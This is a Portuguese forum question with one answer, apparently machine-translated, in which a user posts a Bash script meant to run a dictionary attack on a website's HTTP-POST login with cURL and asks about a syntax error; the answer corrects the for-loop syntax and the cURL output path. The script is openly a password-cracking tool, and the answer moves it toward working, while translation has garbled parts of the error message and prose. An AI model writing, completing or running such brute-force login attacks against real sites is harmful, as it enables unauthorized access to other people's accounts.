Ataque de dicionário no Bash com cURL

0

Sou relativamente novo no Bash, mas este é um roteiro no qual venho trabalhando nos últimos dias. Ele é destinado a executar um ataque de dicionário em um login HTTP-POST para um site, lendo o módulo de tempo e enviando uma solicitação de login para o site em questão a cada quantidade de segundos que eu configuro. No entanto, estou com problemas.

echo -e "Initiating password cracking session...\n"
echo -e "Seconds per password attempt: \c"

read TIME

if [ "$TIME" -lt "2" ];
then
echo -e "Servers may block out attempts when initiated too frequently,     cracking session will begin anyways.\n"
fi

if [ "$TIME" -gt "2" ];
then
echo -e "Cracking session will take too long to initiate. Session will     continue anyways.\n"
fi

function control_c {
tput setaf 2; echo -en "                                                                Password     cracking session deactivated.\n"
exit $?
}

trap control_c SIGINT

for (( ; ; ))
do
url="https://examplewebsite.com/login"
echo -e "Username: \c"

read user

echo -e "Wordlist: \c"

read pass

for user do
  for pass in pass do
    http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
    if [[ $http_code -eq 302 ]]; then
      echo "Success: User: '$user' Pass: '$pass'"
      break 2
    fi
 done
sleep $TIME
done
done

Como uma nota lateral, eu tenho absolutamente nenhum conhecimento com cURL, e a sintaxe relacionada a cURL acima é puramente a que eu li em outros sites. Eu recebo a mensagem de erro:     erro de sintaxe próximo do token inesperado http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)' ./jmc.sh: line 36: http_code = $ (curl -L -data user="$ usuário" -data password="$ pass" "$ url" -w '% {http_code}' -o / root / Desktop - s) '

O que estou fazendo errado? Mais uma vez, sou novo no Bash e no cURL, então, por favor, perdoe-me se o meu roteiro parecer fora de linha.

    
por Aqueous Computing 23.03.2016 / 04:21

1 resposta

0

Para ser breve, eu intencionalmente não mencionei (muitas) coisas que você "deveria" ou "não deveria", apenas se concentre no erro de sintaxe.

  • para o usuário: para neste contexto deve estar no formato para loop_ variável na lista ; do (embora eu não consiga ver o que você gostaria de ter um loop para aqui)
  • para passar no passe do: assim como na linha anterior, o ponto-e-vírgula é faltando (ou, se você não gosta de ponto e vírgula, pode escrever fazer a próxima linha (mas também não consigo ver as razões de um loop aqui)

Uma coisa que eu devo mencionar além disso: -o / root / Desktop significaria "colocar a saída em um arquivo chamado / root / Desktop ". Eu acho que você já tem um diretório com este nome, então você deve dar ao arquivo algo diferente ..

    
por 23.03.2016 / 09:03